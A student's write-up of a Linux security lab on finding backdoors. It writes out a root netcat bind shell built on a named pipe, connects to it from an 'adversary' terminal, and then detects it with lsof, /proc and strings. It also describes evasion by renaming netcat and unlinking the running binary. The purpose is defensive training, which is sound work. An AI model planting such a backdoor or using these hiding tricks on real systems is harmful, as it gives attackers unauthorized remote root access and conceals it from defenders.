BHIS-SOCC-lab-LinuxCLI

The Lab - IntroClass/LinuxCLI
Section Notes - SOCC02 - Linux

Linux Lab

In this lab, we're investigating backdoors on a Linux system. In this write-up, I'm going to separate the commands into three different shell sessions; Server, Adversary, and Analyst,

Configure the "server" to listen for commands from the "client" machine
1. Server terminal^[1]
  2. Open a Ubuntu shell and log in as Super User
  1. sudo su -
  3. Create a FIFO (first in, first out) backpipe
  1. mknod backpipe p
  1. mknod Creates a named pipe called backpipe
  4. Start the backpipe
  1. /bin/bash 0<backpipe | nc -l 2222 1>backpipe
  1. Basically creates a netcat listener that forwards all input through a backpipe and then into a bash session, and then passes the output back to the listener (MITM)?
  1. 0 - standard input
  2. 1 - standard output
  3. 2 - error
  2. nc = netcat
  1. -l 2222 = listen on port 2222
  3. For the backpipe, don't forget that 0 < backpipe, and 1 > backpipe
  1. Where a pipe is monodirectional, a Named Pipe can move data in any direction want
  1. netcat to backpipe, backpipe to bash, bash to netcat, etc...
  2. infinite loop
  5. At this point, the shell is chilling; the command, running. We need to send it some commands.
2. Adversary terminal
  1. Get your IP address and establish a connection to the Server
    1. ip a
    2. nc <your IP address> 2222
  2. If you connect correctly, it's going to look like it's chilling too; but let's type some commands
    1. ls
    2. whoami
    3. 1. NOTE: In this go-through, I changed the backpipe name to 5FTP to see how it looked, and I hate it.
  3. At this point, we have demonstrated that we have established Remote Shell, and are ready to start looking for clues
Investigate from the Analyst terminal
1. In the lab, they suggest logging in as Root; this is generally a bad idea in the real world (like logging in as domain admin), and we should be able to accomplish most commands just running them with sudo.
2. Look for network connection processes
  1. lsof
  2. sudo lsof -i -P
    1. -i is internet connections
    2. -P port number only (don't guess the service)
  3. This shows us the services that look strange; we can dig into a specific process with lowercase -p
    1. lsof -p [process ID]
      1. In my case, sudo lsof -p 372
    2. Shows everything associated with that particular PID
3. Investigate the process files
  2. cd /proc/[pid]
  3. ls
  1. Everything associated with the memory of the executable as it resides in memory
  5. strings ./exe | less
  1. Prints out everything that's actively running in memory, and we can find netcat below
  1.
  2. If there's a program with a manual page, you can scroll through and find it with strings/less

This is where the lab ends in the GitHub repo, but Mr. Strand had a few more tricks to share.

Other ways to avoid detection

Rename netcat to anything else
1. Note, here we used the which command to quickly locate the Netcat application file.
2. 1. I also took the opportunity to create a new backpipe name, logfile, which is still suspicious but not the same as backpipe, and renamed Netcat to netlog
3. And now look! A happy little netlog has an open connection to the internet, and it's just writing to a logfile!
  3. However, if we run strings ./exe | less on it, we still find netcat
Hiding the file on the system
1. You could use a . to hide it (.notevil), but it's crazier to unlink it (i.e. program running in memory disconnected from program in storage)
  1. e.g., the program in storage was deleted
  2. If you delete the file (rm notevil) while it's running, it will continue to run in memory
2. How to detect?
  1. lsof +L1
    1. Shows all system files running without any links^[2]
  2. Once detected, you can kill or pkill to end the unlinked process, and kill its access

In the real world, these commands would likely be executed in a malware's payload ↩︎
It also still shows up in regular lsof -i -P, but this just highlights anything that is trying to hide and wouldn't be found in traditional file scans. ↩︎